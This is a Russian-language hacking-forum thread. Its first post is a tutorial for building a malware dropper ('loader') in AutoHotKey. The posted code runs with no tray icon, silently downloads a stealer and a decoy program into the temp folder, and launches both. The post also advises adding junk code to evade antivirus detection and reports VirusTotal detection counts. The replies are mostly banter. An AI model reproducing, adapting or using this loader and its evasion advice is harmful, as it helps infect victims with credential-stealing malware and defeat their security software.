Делаем склеивание и лоадер своими руками! без вложений!

[zebra0_0]

Приветствую всех кто не знает как заделать собственный лоадер для своего малваря и при этом не имеет средства на покупку у знающих людей. Так вот, в процессе прочтения этой статьи я расскажу как создать свой простенький лоадер к которому легко чистить детекты.
Почему это лучше покупных лоадеров?
А вам нравится каждую неделю платить за чистку детектов? Если вы конечно, не умеете сами криптовать файлы.
Здесь же всё очень просто, и вы не рискуете своим мальварём, ибо пользователь с ним напрямую не контактирует.
А также нет зависимостей и не нужны права администратора.

Для создания использовался AutoHotKey на уровне чайника с клавиатурой

Для начала, где будем писать?
Да где угодно, хоть в блокноте, главное потом текстовому файлу изменить разрешение на .ahk
Но для своей удобности я воспользуюсь SciTE4AutoHotKey, Т9 на функции, компилятор и прочие приколюхи.
Также устанавливаем библиотеку AutoHotKey с официального сайта — autohotkey.com

Процесс создания:
Начнём с того что наша программа будет работать без иконки в трее.
Код: Скопировать в буфер обмена
#NoTrayIcon
Далее, загружаем склеиваемый файл и сам мальварь на хостинг, или ФО. Главное чтобы на них была прямая ссылка.
После этого, вставляем 2 функции загрузки файла, с сохранением в временное хранилище.

Код: Скопировать в буфер обмена

#NoTrayIcon

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe
URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Первый файл - пусть будет условно наш стилер.
Второй файл - софт, который просто нужен жертве.

Далее, запускаем цикл, который проверяет файлы на наличие, и после их обнаружения запускающий их.

Код: Скопировать в буфер обмена

#NoTrayIcon

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe
URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Loop
{
 IfExist, %A_Temp%\st.exe
 {
  IfExist, %A_Temp%\keymaker.exe
  {
   Run, %A_Temp%\keymaker.exe
   Run, %A_Temp%\st.exe
   Sleep, 1000
   ExitApp
  }
 }
}

Функция IfExist осуществляет проверку на присутствие файлов в временной директории. Если файлы обнаружены, то сразу запускаются два элемента: наш основной файл и программа, необходимая пользователю. Затем загрузчик просто завершает свою работу, оставляя пользователя взаимодействовать с нужным ему приложением, в то время как основной файл выполняет свои задачи.

Как избежать детектирования?​

Это легко: добавляем в код программы ненужные операции, например, задаём переменным случайные значения.

Код: Скопировать в буфер обмена

#NoTrayIcon

URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА МАЛЬВАРЬ, %A_Temp%\st.exe
URLDownloadToFile, ПРЯМАЯ ССЫЛКА НА СКЛЕИВАЕМЫЙ ФАЙЛ, %A_Temp%\keymaker.exe

Loop
{
 IfExist, %A_Temp%\st.exe
 {
  IfExist, %A_Temp%\keymaker.exe
  {
   Run, %A_Temp%\keymaker.exe
   Run, %A_Temp%\st.exe
   Sleep, 1000
   ExitApp
  }
 }
}




A:= 228
B:= A
C:= "fqfqfvwg"
B:= C
A:= 25868

После этого, детект чистится.

После написания компилируем в exe и радуемся.
Вес билда ~ 700 кб.



После компиляции у софта будет такая иконка:


Для установления кастомной иконки воспользуемся компилятором от AutoHotKey.
Переходим по пути: Ваш путь\AutoHotkey\Compiler
Запускаем Ahk2Exe, и в строке Custom Icon выбираем свою иконку, компилируем.



Также добавлю из своих наблюдений касательно детектов:
Начальный детект - 2/70
Спустя 2-3 дня детект - не более 6/70
При этом начальный детект составляет 2 нонейм АВ, а в конечном там максимум окажется Kaspersky.
И это всё учитывая то, что я намеренно сливал на VirusTotal для проверки данной информации.
Так что у Вас может быть всё куда круче!

Вот и всё, вроде бы рассказал обо всех аспектах этого дела.
Надеюсь кому-нибудь будет полезна эта информация, и сэкономит не мало деньжат.
Всем спасибо, и удачи в написании собственных лаодеров.

 

[bigheadguy]

или я чего то не понимаю, или тут нед лодыря(или я не понимаю, что такое лодырь)

 

[zebra0_0]

Есть, автор статьи лодырь, а если по серьёзному то где ты тут лодыря нашёл?

 

[Saga5300]

zebra0_0 сказал(а):
Есть, автор статьи лодырь, а если по серьёзному то где ты тут лодыря нашёл?
Нажмите, чтобы раскрыть...

остроумно ты подметил))) лодырь и лоадер - это разные вещи хахах

 

[bigheadguy]

Saga5300 сказал(а):
лодырь и лоадер - это разные вещи хахах
Нажмите, чтобы раскрыть...

я опять о чем то не знаю?

 

[monro]

Как склейка может влиять на детекты ?

 

[DildoFagins]

zebra0_0 сказал(а):
При этом начальный детект составляет 2 нонейм АВ, а в конечном там максимум окажется Kaspersky
Нажмите, чтобы раскрыть...

Тот антивирус, который в 2024 году в динамике не блочит скачку экзешников в темп и запуск оттуда, не имеет право на существование. А статика, она практически ни о чем не говорит.